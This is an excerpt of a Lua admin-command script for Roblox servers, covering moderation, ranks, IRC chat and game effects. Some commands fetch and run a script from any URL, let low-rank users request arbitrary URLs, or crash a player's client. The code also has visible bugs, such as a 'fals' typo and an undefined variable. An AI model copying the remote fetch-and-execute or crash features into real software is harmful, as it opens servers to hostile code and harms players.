5724 [{"remotenewserver", "remotemakeserver", "rns"}] = {"number(ID)", "Opens new server on the ID of the game", 1, "Owner", false, function(Speaker, Rank, Arguments)
5725 local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..Arguments[1])
5726 if Res then
5727 GUI:SendMessage(Speaker, "Server created", "Server has been created on game: "..Arguments[1], "Check")
5728 end
5729 end}, Http = true;
5730 ]]
5731
5732 [{"ircreconnect", "ircr"}] = {"", "Reconnects IRC", 0, "Owner", false, function(Speaker, Rank, Arguments)
5733 IRC:Quit("Reconnecting")
5734 IRC:ConnectToServer(Settings.IRCServer)
5735 end};
5736
5737 [{"irc", "ircgui"}] = {"player", "Will prompt irc chat on player", 1, "Member", false, function(Speaker, Rank, Arguments)
5738 local Players = STRING:Scan(Arguments[1], Speaker)
5739 for _,Player in pairs(Players) do
5740 local PreAdd = {}
5741 for _,Data in pairs(IRC.Chats) do
5742 local Error = nil
5743 if Rank == "Owner" then Error = Data[3] end
5744 table.insert(PreAdd, {Data[1], Data[2], Error})
5745 end
5746 local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "IRC Chat on channel "..Settings.IRCChannel, 146027317, PreAdd)
5747 IRC.MessageAdded.Event:connect(function(UserName, Message, Error)
5748 if Rank ~= "Owner" then Error = nil end
5749 AddMessage:Invoke(UserName, Message, Error)
5750 end)
5751 SendPressed.Event:connect(function(Text)
5752 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Player.Name..": "..Text)
5753 IRC:AddChat(Player.Name, Text)
5754 end)
5755 end
5756 end};
5757
5758 [{"prichat", "privatechat", "pchat"}] = {"player", "Allows player to join the server's private chat", 1, "Admin", false, function(Speaker, Rank, Arguments)
5759 local Players = STRING:Scan(Arguments[1], Speaker)
5760 for _,Player in pairs(Players) do
5761 local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "Private chat", "Lock", PriChat.Chats, function(Type)
5762 if Type == "Leave" then
5763 PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has left the chat")
5764 elseif Type == "Join" then
5765 PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has joined the chat")
5766 end
5767 end)
5768 PriChat.Chatted.Event:connect(function(UserName, Message)
5769 AddMessage:Invoke(UserName, Message)
5770 end)
5771 SendPressed.Event:connect(function(Text)
5772 PriChat.Chatted:Fire(Player.Name, Text)
5773 table.insert(PriChat.Chats, {Player.Name, Text})
5774 end)
5775 end
5776 end};
5777
5778 [{"script", "exe"}] = {"string", "Will execute a script with global admin variables", 1, "Owner", false, function(Speaker, Rank, Arguments)
5779 ExecuteSafe(Arguments[1], Speaker)
5780 end};
5781
5782 [{"exehttp", "httpexe", "remoteexe", "plugin", "pluginhttp", "httpplugin", "remoteplugin"}] = {"string(URL)", "Will execute a script with global admin variables from the link", 1, "Owner", false, function(Speaker, Rank, Arguments)
5783 local Script = REMOTE:GetURL(Arguments[1], Player)
5784 if Script then
5785 ExecuteSafe(Script, Speaker)
5786 end
5787 end, Http = true};
5788
5789 [{"ping", "url", "link", "http"}] = {"string(URL)", "Pings string which is a URL", 1, "Member", false, function(Speaker, Rank, Arguments)
5790 local Time = tick()
5791 local Res = REMOTE:GetURL(Arguments[1], Player)
5792 if Res then
5793 GUI:SendMessage(Speaker, "Ping complete", "Response to: "..Arguments[1].." was complete in "..string.sub(tostring(tick() - Time),1,5).." seconds. Response: "..string.char(13, 10)..Res, "Check")
5794 end
5795 end, Http = true};
5796
5797 [{"removeadmin", "ra"}] = {"", "Removes admin permanently", 0, "Owner", false, function(Speaker, Rank, Arguments)
5798 CORE:RemoveAdmin(Speaker)
5799 end};
5800
5801 [{"h", "hint"}] = {"hint string", "Gives everyone in the server a hint string", 1, "Member", false, function(Speaker, Rank, Arguments)
5802 for _,Player in pairs(Server.Players:GetPlayers()) do
5803 GUI:SendHint(Player, Arguments[1], nil, Speaker)
5804 end
5805 end};
5806
5807 [{"murica", "merica", "america"}] = {"murica player", "You'll have to find out yourself", 1, "Admin", false, function(Speaker, Rank, Arguments)
5808 local Players = STRING:Scan(Arguments[1], Speaker)
5809 local Debt = nil
5810 for _,Player in pairs(Players) do
5811 if not Debt then
5812 Debt = GUI:ShowDebtStats(Player)
5813 else
5814 GUI:ShowDebtStats(Player, Debt)
5815 end
5816 end
5817 end, Http = true};
5818
5819 [{"hud", "target", "profiler"}] = {"player", "Opens a gui HUD that allows player to see player data", 1, "Owner", false, function(Speaker, Rank, Arguments)
5820 local Players = STRING:Scan(Arguments[1], Speaker)
5821 for _,Player in pairs(Players) do
5822 GUI:CreateHUD(Player)
5823 end
5824 end};
5825
5826 [{"nohud", "notarget", "noprofiler", "unhud", "untarget", "unprofiler"}] = {"player", "Removes HUD Gui if it's on the player", 1, "Owner", false, function(Speaker, Rank, Arguments)
5827 local Players = STRING:Scan(Arguments[1], Speaker)
5828 for _,Player in pairs(Players) do
5829 if Player:FindFirstChild("PlayerGui") then
5830 local HUD = Player.PlayerGui:FindFirstChild("Ma".."ke".."r".."m".."odelLu".."a's HUD Gui")
5831 if HUD then HUD:Destroy() end
5832 end
5833 end
5834 end};
5835
5836 [{"vote", "poll"}] = {"player string", "Gives player 30 seconds to answer yes or no to the question string", 2, "Member", false, function(Speaker, Rank, Arguments)
5837 local Players = STRING:Scan(Arguments[1], Speaker)
5838 GUI:Vote(Speaker, Players, Arguments[2], 30)
5839 end};
5840
5841 [{"bomb", "terrorist", "suicide"}] = {"player", "Puts an explosive IED device on player", 1, "Admin", true, function(Speaker, Rank, Arguments)
5842 local Players = STRING:Scan(Arguments[1], Speaker)
5843 for _,Player in pairs(Players) do
5844 CORE:ExecuteResource("Bomb", Player.Character)
5845 end
5846 end};
5847
5848 [{"debug", "d", "regen"}] = {"player", "Respawns player wherever they are at and fixes camera", 1, "Member", false, function(Speaker, Rank, Arguments)
5849 local Players = STRING:Scan(Arguments[1], Speaker)
5850 for _,Player in pairs(Players) do
5851 CORE:ChangeCharacter(Player, Player.UserId, false, Speaker)
5852 CORE:RestoreCamera(Player)
5853 end
5854 end};
5855
5856 [{"debugme", "dm", "regenme"}] = {"player", "Respawns speaker wherever they are at and fixes camera", 0, "Member", false, function(Speaker, Rank, Arguments)
5857 CORE:ChangeCharacter(Speaker, Speaker.UserId, false, Speaker)
5858 CORE:RestoreCamera(Speaker)
5859 end};
5860
5861 [{"tp", "teleport", "tele"}] = {"player1 player2", "Teleports player 1 to player 2", 2, "Member", false, function(Speaker, Rank, Arguments)
5862 local Players1 = STRING:Scan(Arguments[1], Speaker)
5863 local Players2 = STRING:Scan(Arguments[2], Speaker)
5864 for _,Player1 in pairs(Players1) do
5865 if Player1.Character and Player1.Character:FindFirstChild("Torso") then
5866 for _,Player2 in pairs(Players2) do
5867 if Player2.Character and Player2.Character:FindFirstChild("Torso") then
5868 Player1.Character:MoveTo(Player2.Character.Torso.Position)
5869 end
5870 end
5871 end
5872 end
5873 end};
5874
5875 [{"respawn", "resp", "res"}] = {"player", "Respawns player", 1, "Member", false, function(Speaker, Rank, Arguments)
5876 local Players = STRING:Scan(Arguments[1], Speaker)
5877 for _,Player in pairs(Players) do
5878 Player:LoadCharacter()
5879 end
5880 end};
5881
5882 [{"fixcam", "fixcamera"}] = {"player", "Fixes player's camera", 1, "Member", false, function(Speaker, Rank, Arguments)
5883 local Players = STRING:Scan(Arguments[1], Speaker)
5884 for _,Player in pairs(Players) do
5885 CORE:RestoreCamera(Player)
5886 end
5887 end};
5888
5889 [{"jail"}] = {"player", "Puts player in a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
5890 local Players = STRING:Scan(Arguments[1], Speaker)
5891 for _,Player in pairs(Players) do
5892 CORE:Jail(Player)
5893 end
5894 end};
5895
5896 [{"nojail", "unjail"}] = {"player", "Takes player out of a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
5897 local Players = STRING:Scan(Arguments[1], Speaker)
5898 for _,Player in pairs(Players) do
5899 CORE:UnJail(Player)
5900 end
5901 end};
5902
5903 [{"say", "speak", "charles", "talk"}] = {"string", "Will have Charles 2.0 say the text string", 1, "Member", false, function(Speaker, Rank, Arguments)
5904 SOUND:SayConvertedText(SOUND:ConvertText(Arguments[1]))
5905 end};
5906
5907 [{"nosay", "nospeak", "nocharles", "notalk", "unsay", "unspeak", "uncharles", "stoptalking", "stopspeak", "stopcharles", "stopsay", "shush", "shutup"}] = {"", "Stops Charles 2.0 talking", 0, "Member", false, function(Speaker, Rank, Arguments)
5908 SOUND:StopSpeaking()
5909 end};
5910
5911 [{"info", "information"}] = {"player", "Show's player's info", 1, "Member", false, function(Speaker, Rank, Arguments)
5912 local Players = STRING:Scan(Arguments[1], Speaker)
5913 local Compile = {}
5914 for Num,Player in pairs(Players) do
5915 local PlayerRank = RANK:GetRank(Player)
5916 local PlayerInfo = ClientInfo[Player.Name]
5917 table.insert(Compile, {"Name: "..Player.Name, "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Player.Name})
5918 table.insert(Compile, "User ID: "..Player.UserId)
5919 table.insert(Compile, "Age: "..STRING:FindAge(Player.AccountAge))
5920 table.insert(Compile, "Rank: "..PlayerRank)
5921
5922 if PlayerInfo.Accelerometer ~= nil then table.insert(Compile, "Has Accelerometer: "..STRING:BoolString(PlayerInfo.Accelerometer)) end
5923 if PlayerInfo.Gyroscope ~= nil then table.insert(Compile, "Has Gyroscope: "..STRING:BoolString(PlayerInfo.Gyroscope)) end
5924 if PlayerInfo.Gamepad ~= nil then table.insert(Compile, "Has Gamepad: "..STRING:BoolString(PlayerInfo.Gamepad)) end
5925 if PlayerInfo.Mouse ~= nil then table.insert(Compile, "Has Mouse: "..STRING:BoolString(PlayerInfo.Mouse)) end
5926 if PlayerInfo.Keyboard ~= nil then table.insert(Compile, "Has Keyboard: "..STRING:BoolString(PlayerInfo.Keyboard)) end
5927 if PlayerInfo.TouchScreen ~= nil then table.insert(Compile, "Has TouchScreen: "..STRING:BoolString(PlayerInfo.TouchScreen)) end
5928 if PlayerInfo.Benchmark then
5929 table.insert(Compile, "BLUE BENCHMARK: "..PlayerInfo.Benchmark)
5930 end
5931 if Num ~= #Players then table.insert(Compile, "-----------------------------") end
5932 end
5933 GUI:ListGui(Speaker, "Information on "..#Players.." player(s)", Compile, "Information", false, false)
5934 end};
5935
5936 [{"loopkill", "lkill", "loopk"}] = {"player num", "Kills player num times", 2, "Admin", false, function(Speaker, Rank, Arguments)
5937 if tonumber(Arguments[2]) then
5938 local Players = STRING:Scan(Arguments[1], Speaker)
5939 for _,Player in pairs(Players) do
5940 coroutine.wrap(function()
5941 if Player.Character then
5942 table.insert(LoopKills, Player.Name)
5943 local Loop = nil
5944 local PrevChar = nil
5945
5946 for i = 1,tonumber(Arguments[2]) do
5947 local Char = Player.Character
5948 if PrevChar and PrevChar ~= Char then
5949 PrevChar:Destroy()
5950 end
5951 PrevChar = Char
5952 local CanDie = true
5953 for _,Name in pairs(LoopKills) do if Name == Player.Name then CanDie = true end end
5954 if CanDie == false then
5955 break
5956 end
5957 ypcall(function() Char.Parent = Server.Lighting end)
5958 wait(0.1)
5959 ypcall(function() Char.Parent = Server.Workspace end)
5960 wait(0.1)
5961 end
5962 end
5963 end)()
5964 end
5965 else
5966 GUI:SendMessage(Speaker, "Cannot execute", "RED Argument 2 is not a valid number", "Error")
5967 end
5968 end};
5969
5970 [{"noloopkill", "nolkill", "noloopk", "unloopkill", "unlkill", "unloopk"}] = {"player num", "Stops any loop kills on a player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5971 local Players = STRING:Scan(Arguments[1], Speaker)
5972 for _,Player in pairs(Players) do
5973 for Num,Name in pairs(LoopKills) do
5974 if Player.Name == Name then
5975 table.remove(LoopKills, Num)
5976 end
5977 end
5978 end
5979 end};
5980
5981 [{"sound", "audio", "music"}] = {"num/string", "Plays the sound ID or string from the soundlist", 1, "Member", false, function(Speaker, Rank, Arguments)
5982 SOUND:PlayGlobalSound(Arguments[1])
5983 end};
5984
5985 [{"nosound", "noaudio", "nomusic", "stopsound", "stopaudio", "stopmusic"}] = {"", "Removes the current sound playing", 0, "Member", false, function(Speaker, Rank, Arguments)
5986 SOUND:StopGlobalSound()
5987 SOUND:ClearInfo()
5988 end};
5989
5990 [{"pitch"}] = {"num", "Sets the pitch of the current sound to num", 1, "Member", false, function(Speaker, Rank, Arguments)
5991 local Pitch = tonumber(Arguments[1])
5992 if not Pitch then Pitch = 1 end
5993 if Sound then
5994 Sound.Pitch = Pitch
5995 end
5996 end};
5997
5998 [{"search", "searchsound", "searchsounds", "searchaudio", "searchmusic", "ss"}] = {"string", "Searches the catalog for the sound string", 1, "Member", false, function(Speaker, Rank, Arguments)
5999 local CloseGui, AddInfo = GUI:LoadGui(Speaker, "Searching for: "..Arguments[1])
6000 local Items = MARKET:SearchItem(9, Arguments[1])
6001 if Items then
6002 if #Items ~= 0 then
6003 local List,Correlate = {},{}
6004 for Num,Info in pairs(Items) do
6005 local Display = " "..Info.Name.." by: "..Info.Creator.." ("..Info.AssetId..")"
6006 table.insert(List, Display)
6007 Correlate[Display] = Info.AssetId
6008 end
6009 CloseGui:Invoke()
6010
6011 local CanClick = true
6012 if Rank == "Member" then CanClick = false end
6013 local Clicked = GUI:ListGui(Speaker, "Search Results: "..Arguments[1], List, "Search", CanClick)
6014 Clicked.Event:connect(function(ClickName)
6015 local OldSoundId = nil
6016 SOUND:StopGlobalSound()
6017 if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
6018 SOUND:PlayGlobalSound(Correlate[ClickName])
6019 end
6020 end)
6021 else
6022 CloseGui:Invoke()
6023 GUI:SendMessage(Speaker, "No results", "BLUE No results for "..Arguments[1].." found...", "Information")
6024 end
6025 else
6026 CloseGui:Invoke()
6027 GUI:SendMessage(Speaker, "Cannot get audio", "RED Cannot get audio. Is HttpService enabled?", "Error")
6028 end
6029 end, Http = true};
6030
6031 [{"gun"}] = {"player", "Gives player a gun", 1, "Member", false, function(Speaker, Rank, Arguments)
6032 local Players = STRING:Scan(Arguments[1], Speaker)
6033 for _,Player in pairs(Players) do
6034 if Player.Character then
6035 CORE:ExecuteResource("Gun", Player.Character)
6036 end
6037 end
6038 end};
6039
6040 [{"sink", "pothole", "quicksand"}] = {"player", "Sinks the player", 1, "Member", true, function(Speaker, Rank, Arguments)
6041 local Players = STRING:Scan(Arguments[1], Speaker)
6042 for _,Player in pairs(Players) do
6043 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
6044 local Hole = Instance.new("Part", Player.Character) Hole.Name = "Hole" Hole.BrickColor = BrickColor.new("Really black") Hole.Size = Vector3.new(5,1.2,5) Hole.Anchored = true Hole.CanCollide = fals Hole.Locked = true Hole.CFrame = Player.Character.Torso.CFrame * CFrame.new(0,-3.5,0) * CFrame.Angles(0,0,0) Instance.new("CylinderMesh", Hole)
6045 Player.Character.Humanoid.WalkSpeed = 0
6046 Player.Character.Torso.Anchored = true
6047 coroutine.wrap(function()
6048 local OldCFrame = Player.Character.Torso.CFrame
6049 for i = 0,8,0.1 do
6050 Player.Character.Torso.CFrame = OldCFrame * CFrame.new(0,-i,0)
6051 wait()
6052 end
6053 Player.Character.Torso.Anchored = false
6054 Player.Character:BreakJoints()
6055 CORE:InvisiblePlayer(Player)
6056 end)()
6057 end
6058 end
6059 end};
6060
6061 [{"freeze", "anchor"}] = {"player", "Freezes player in place", 1, "Member", false, function(Speaker, Rank, Arguments)
6062 local Players = STRING:Scan(Arguments[1], Speaker)
6063 for _,Player in pairs(Players) do
6064 CORE:AnchorPlayer(Player)
6065 end
6066 end};
6067
6068 [{"nofreeze", "unfreeze", "noanchor", "unanchor", "thaw"}] = {"player", "Unfreezes player", 1, "Member", false, function(Speaker, Rank, Arguments)
6069 local Players = STRING:Scan(Arguments[1], Speaker)
6070 for _,Player in pairs(Players) do
6071 CORE:UnanchorPlayer(Player)
6072 end
6073 end};
6074
6075 [{"invisible", "invis"}] = {"player", "Makes player invisible", 1, "Member", false, function(Speaker, Rank, Arguments)
6076 local Players = STRING:Scan(Arguments[1], Speaker)
6077 for _,Player in pairs(Players) do
6078 CORE:InvisiblePlayer(Player)
6079 end
6080 end};
6081
6082 [{"visible", "vis"}] = {"player", "Makes player visible", 1, "Member", false, function(Speaker, Rank, Arguments)
6083 local Players = STRING:Scan(Arguments[1], Speaker)
6084 for _,Player in pairs(Players) do
6085 CORE:VisiblePlayer(Player)
6086 end
6087 end};
6088
6089 [{"asteroid", "comet", "meteor", "meteorite"}] = {"player", "Shoots an asteroid at player", 1, "Member", true, function(Speaker, Rank, Arguments)
6090 local Players = STRING:Scan(Arguments[1], Speaker)
6091 for _,Player in pairs(Players) do
6092 if Player.Character and Player.Character:FindFirstChild("Torso") then
6093 local Ast = Instance.new("Part", Server.Workspace) Ast.Name = "Asteroid" Ast.Position = Player.Character.Torso.Position + Vector3.new(0,500,0) Ast.Size = Vector3.new(12,12,12)
6094 local Mesh = Instance.new("SpecialMesh", Ast) Mesh.MeshId = "rbxassetid://1290033" Mesh.Scale = Vector3.new(6.2,6.2,6.2) Mesh.TextureId = "rbxassetid://1290030"
6095 local Fire = Instance.new("Fire", Ast) Fire.Heat = 25 Fire.Size = 30
6096 local Smoke = Instance.new("Smoke", Ast) Smoke.RiseVelocity = 10 Smoke.Size = 10
6097 local BoomSound = SOUND:MakeSound(Ast, 188590169, 1, 1)
6098 local Fly = SOUND:MakeSound(Ast, 179438534, 1, 1, true)
6099 Fly:Play()
6100 local Touched = false
6101 coroutine.wrap(function()
6102 repeat wait(0.1)
6103 Ast.Position = Vector3.new(Player.Character.Torso.Position.X, Ast.Position.Y, Player.Character.Torso.Position.Z)
6104 until not Ast or Ast.Parent == nil or Touched == true
6105 end)()
6106 Ast.Touched:connect(function(Part)
6107 if Touched == false then
6108 Touched = true
6109 Part:BreakJoints()
6110 local Boom = Instance.new("Explosion", Workspace)
6111 Boom.Position = Ast.Position
6112 Boom.BlastPressure = 1000000
6113 Boom.BlastRadius = 30
6114 Fire.Heat = 0
6115 Smoke.RiseVelocity = 0
6116 Fly:Stop()
6117 BoomSound:Play()
6118 coroutine.wrap(function()
6119 wait(3)
6120 BoomSound:Stop()
6121 if Ast and Ast.Parent ~= nil then
6122 Ast:Destroy()
6123 end
6124 end)()
6125 end
6126 end)
6127 end
6128 end
6129 end};
6130
6131 [{"kick"}] = {"player", "Will kick player out of the server", 1, "Admin", false, function(Speaker, Rank, Arguments)
6132 local Success = {}
6133 local Players = STRING:Scan(Arguments[1], Speaker)
6134 for _,Player in pairs(Players) do
6135 local PlayerRank = RANK:GetRank(Player)
6136 if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
6137 CORE:Kick(Player)
6138 table.insert(Success, Player)
6139 end
6140 end
6141 REMOTE:SendHttpLog(Speaker.Name.." kicked "..CORE:UnpackPlayers(Success), "INFORMATION")
6142 end};
6143
6144 [{"ban"}] = {"player", "Will ban player and will be unable to join", 1, "Admin", false, function(Speaker, Rank, Arguments)
6145 local Success = {}
6146 local Players = STRING:Scan(Arguments[1], Speaker)
6147 for _,Player in pairs(Players) do
6148 local PlayerRank = RANK:GetRank(Player)
6149 if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
6150 RANK:RemoveRank(Player)
6151 table.insert(Settings.Ranks.Banned, Player.Name)
6152 CORE:Kick(Player)
6153 table.insert(Success, Player)
6154 end
6155 end
6156 REMOTE:SendHttpLog(Speaker.Name.." banned "..CORE:UnpackPlayers(Success), "WARNING")
6157 end};
6158
6159 [{"crash"}] = {"player", "Will crash player with a painful BSOD", 1, "Owner", false, function(Speaker, Rank, Arguments)
6160 local Success = {}
6161 local Players = STRING:Scan(Arguments[1], Speaker)
6162 for _,Player in pairs(Players) do
6163 local PlayerRank = RANK:GetRank(Player)
6164 if PlayerRank ~= "Owner" then
6165 RANK:RemoveRank(Player)
6166 table.insert(Settings.Ranks.Crashed, Player.Name)
6167 CORE:Crash(Player)
6168 table.insert(Success, Player)
6169 end
6170 end
6171 REMOTE:SendHttpLog(Speaker.Name.." crashed "..CORE:UnpackPlayers(Success), "INFORMATION")
6172 end};
6173
6174 [{"mute"}] = {"player", "Makes player unable to talk", 1, "Owner", false, function(Speaker, Rank, Arguments)
6175 local Success = {}
6176 local Players = STRING:Scan(Arguments[1], Speaker)
6177 for _,Player in pairs(Players) do
6178 local PlayerRank = RANK:GetRank(Player)
6179 if PlayerRank ~= "Owner" then
6180 RANK:RemoveRank(Player)
6181 table.insert(Settings.Ranks.Muted, Player.Name)
6182 GUI:CoreGui(Player, "Chat", false)
6183 table.insert(Success, Player)
6184 end
6185 end
6186 REMOTE:SendHttpLog(Speaker.Name.." has muted "..CORE:UnpackPlayers(Success), "INFORMATION")
6187 end};
6188
6189 [{"noadmin", "unadmin", "nomember", "unmember", "nomem", "unmem", "noowner", "unowner", "noown", "unown", "nocrash", "uncrash", "noban", "unban", "nomute", "unmute", "derank"}] = {"player", "Removes whatever rank player has(if your rank is sufficient enough to override player's)", 1, "Admin", false, function(Speaker, Rank, Arguments)
6190 local Players = STRING:Scan(Arguments[1], Speaker)
6191 if #Players > 0 then
6192 local Success = {}
6193 for _,Player in pairs(Players) do
6194 local RankName,RankNum = RANK:GetRank(Player)
6195 if RankNum < RANK:ConvertRank(Rank) or RANK:IsSupremeOwner(Speaker) then
6196 if not RANK:IsSupremeOwner(Player) then
6197 if RankName == "Muted" then
6198 GUI:CoreGui(Player, "Chat", true)
6199 end
6200 if RankNum > 0 then
6201 GUI:TellNotAdmin(Player)
6202 end
6203 RANK:RemoveRank(Player)
6204 table.insert(Success, Player)
6205 end
6206 end
6207 end
6208 REMOTE:SendHttpLog(Speaker.Name.." has unranked "..CORE:UnpackPlayers(Players), "INFORMATION")
6209 else
6210 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6211 if Player then
6212 local RankNum = RANK:ConvertRank(PlayerRank)
6213 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6214 if not RANK:IsSupremeOwner(Player) then
6215 RANK:RemoveRank(Player)
6216 REMOTE:SendHttpLog(Speaker.Name.." has unranked "..Player, "INFORMATION")
6217 end
6218 end
6219 end
6220 end
6221 end};
6222
6223 [{"member", "mem"}] = {"player", "Adds player to the member list", 1, "Admin", false, function(Speaker, Rank, Arguments)
6224 local Players = STRING:Scan(Arguments[1], Speaker)
6225 if #Players > 0 then
6226 local Success = {}
6227 for _,Player in pairs(Players) do
6228 local PlayerRank,RankNum = RANK:GetRank(Player)
6229 if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
6230 RANK:RemoveRank(Player)
6231 table.insert(Settings.Ranks.Member, Player.Name)
6232 GUI:TellAdmin(Player)
6233 table.insert(Success, Player)
6234 end
6235 end
6236 REMOTE:SendHttpLog(Speaker.Name.." has membered "..CORE:UnpackPlayers(Success), "INFORMATION")
6237 else
6238 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6239 if Player then
6240 local RankNum = RANK:ConvertRank(PlayerRank)
6241 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6242 if not RANK:IsSupremeOwner(Player) then
6243 RANK:RemoveRank(Player)
6244 table.insert(Settings.Ranks.Member, Player)
6245 end
6246 end
6247 else
6248 RANK:RemoveRank(Arguments[1])
6249 table.insert(Settings.Ranks.Member, Arguments[1])
6250 end
6251 end
6252 end};
6253
6254 [{"admin", "adm"}] = {"player", "Adds player to the admin list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6255 local Players = STRING:Scan(Arguments[1], Speaker)
6256 if #Players > 0 then
6257 local Success = {}
6258 for _,Player in pairs(Players) do
6259 local PlayerRank,RankNum = RANK:GetRank(Player)
6260 if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
6261 RANK:RemoveRank(Player)
6262 table.insert(Settings.Ranks.Admin, Player.Name)
6263 GUI:TellAdmin(Player)
6264 table.insert(Success, Player)
6265 end
6266 end
6267 REMOTE:SendHttpLog(Speaker.Name.." has admined "..CORE:UnpackPlayers(Success), "INFORMATION")
6268 else
6269 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6270 if Player then
6271 local RankNum = RANK:ConvertRank(PlayerRank)
6272 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6273 if not RANK:IsSupremeOwner(Player) then
6274 RANK:RemoveRank(Player)
6275 table.insert(Settings.Ranks.Admin, Player)
6276 end
6277 end
6278 else
6279 RANK:RemoveRank(Arguments[1])
6280 table.insert(Settings.Ranks.Admin, Arguments[1])
6281 end
6282 end
6283 end};
6284
6285 [{"owner", "own"}] = {"player", "Adds player to the owner list(Speaker must be game owner)", 1, "Owner", false, function(Speaker, Rank, Arguments)
6286 local Players = STRING:Scan(Arguments[1], Speaker)
6287 if RANK:IsSupremeOwner(Speaker) then
6288 if #Players > 0 then
6289 local Success = {}
6290 for _,Player in pairs(Players) do
6291 if not RANK:IsSupremeOwner(Player) then
6292 RANK:RemoveRank(Player)
6293 table.insert(Settings.Ranks.Owner, Player.Name)
6294 GUI:TellAdmin(Player)
6295 table.insert(Success, Player)
6296 end
6297 end
6298 REMOTE:SendHttpLog(Speaker.Name.." has ownered "..CORE:UnpackPlayers(Success), "INFORMATION")
6299 else
6300 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6301 if Player then
6302 local RankNum = RANK:ConvertRank(PlayerRank)
6303 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6304 if not RANK:IsSupremeOwner(Player) then
6305 RANK:RemoveRank(Player)
6306 table.insert(Settings.Ranks.Owner, Player)
6307 end
6308 end
6309 else
6310 RANK:RemoveRank(Arguments[1])
6311 table.insert(Settings.Ranks.Owner, Arguments[1])
6312 end
6313 end
6314 end
6315 end};
6316
6317 [{"admins", "adminlist"}] = {"", "Lists all admins in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6318 local TableStorage = {}
6319 for _,Obj in pairs(Settings.Ranks.Member) do table.insert(TableStorage, Obj..": Member") end
6320 for _,Obj in pairs(Settings.Ranks.Admin) do table.insert(TableStorage, Obj..": Admin") end
6321 for _,Obj in pairs(Settings.Ranks.Owner) do table.insert(TableStorage, "BOLD: "..Obj..": Owner") end
6322 GUI:ListGui(Speaker, "Admin List", TableStorage, 45961462)
6323 end};
6324
6325 [{"serveradmins", "sa"}] = {"", "Lists all admins in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
6326 local TableStorage = {}
6327 for _,Player in pairs(Server.Players:GetChildren()) do
6328 local ValidAdmin,PlayerRank = RANK:IsAdmin(Player)
6329 if ValidAdmin then
6330 if PlayerRank == "Owner" then
6331 table.insert(TableStorage, "BOLD: "..Player.Name..": Owner")
6332 else
6333 table.insert(TableStorage, Player.Name..": "..PlayerRank)
6334 end
6335 end
6336 end
6337 GUI:ListGui(Speaker, "Server admin List", TableStorage, 76198987)
6338 end};
6339
6340 [{"bans", "banlist"}] = {"", "Lists all players who've been banned", 0, "Member", false, function(Speaker, Rank, Arguments)
6341 GUI:ListGui(Speaker, "Ban List", Settings.Ranks.Banned, 163337795)
6342 end};
6343
6344 [{"crashes", "crashlist"}] = {"", "Lists all players who've been crashed", 0, "Member", false, function(Speaker, Rank, Arguments)
6345 GUI:ListGui(Speaker, "Crash List", Settings.Ranks.Crashed, 35480917)
6346 end};
6347
6348 [{"mutes", "muted", "mutelist"}] = {"", "Lists all players who've been muted", 0, "Member", false, function(Speaker, Rank, Arguments)
6349 GUI:ListGui(Speaker, "Mute List", Settings.Ranks.Muted, 202000870)
6350 end};
6351
6352 [{"exiles", "exilelist"}] = {"", "Lists all the exiled players(banned, crashed, muted) in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6353 local TableStorage = {}
6354 for _,Obj in pairs(Settings.Ranks.Banned) do table.insert(TableStorage, Obj..": Banned") end
6355 for _,Obj in pairs(Settings.Ranks.Crashed) do table.insert(TableStorage, Obj..": Crashed") end
6356 for _,Obj in pairs(Settings.Ranks.Muted) do table.insert(TableStorage, Obj..": Muted") end
6357 GUI:ListGui(Speaker, "Exile List", TableStorage, 132769258)
6358 end};
6359
6360 [{"ranked", "ranks", "ranklist"}] = {"", "Lists all the players ranked in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6361 local TableStorage = {}
6362 for PlayerRank,PlayerNames in pairs(Settings.Ranks) do
6363 for Num,PlayerName in pairs(PlayerNames) do
6364 if PlayerRank == "Owner" then
6365 table.insert(TableStorage, "BOLD: "..PlayerName..": Owner")
6366 else
6367 table.insert(TableStorage, PlayerName..": "..PlayerRank)
6368 end
6369 end
6370 end
6371 GUI:ListGui(Speaker, "Rank List", TableStorage, 21341765)
6372 end};
6373
6374 [{"logs", "commandlogs", "cmdlogs"}] = {"", "Lists all the logs of executed commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
6375 GUI:ListGui(Speaker, "Command Logs", CORE:ReverseTable(CommandLogs), "Log")
6376 end};
6377
6378 [{"chatlogs"}] = {"", "Lists all the logs of players who've chatted", 0, "Admin", false, function(Speaker, Rank, Arguments)
6379 GUI:ListGui(Speaker, "Chat Logs", CORE:ReverseTable(ChatLogs), "Log")
6380 end};
6381
6382 [{"irclogs"}] = {"", "Lists all the logs of irc output", 0, "Admin", false, function(Speaker, Rank, Arguments)
6383 GUI:ListGui(Speaker, "IRC Logs", CORE:ReverseTable(IRC.Logs), "Log")
6384 end};
6385
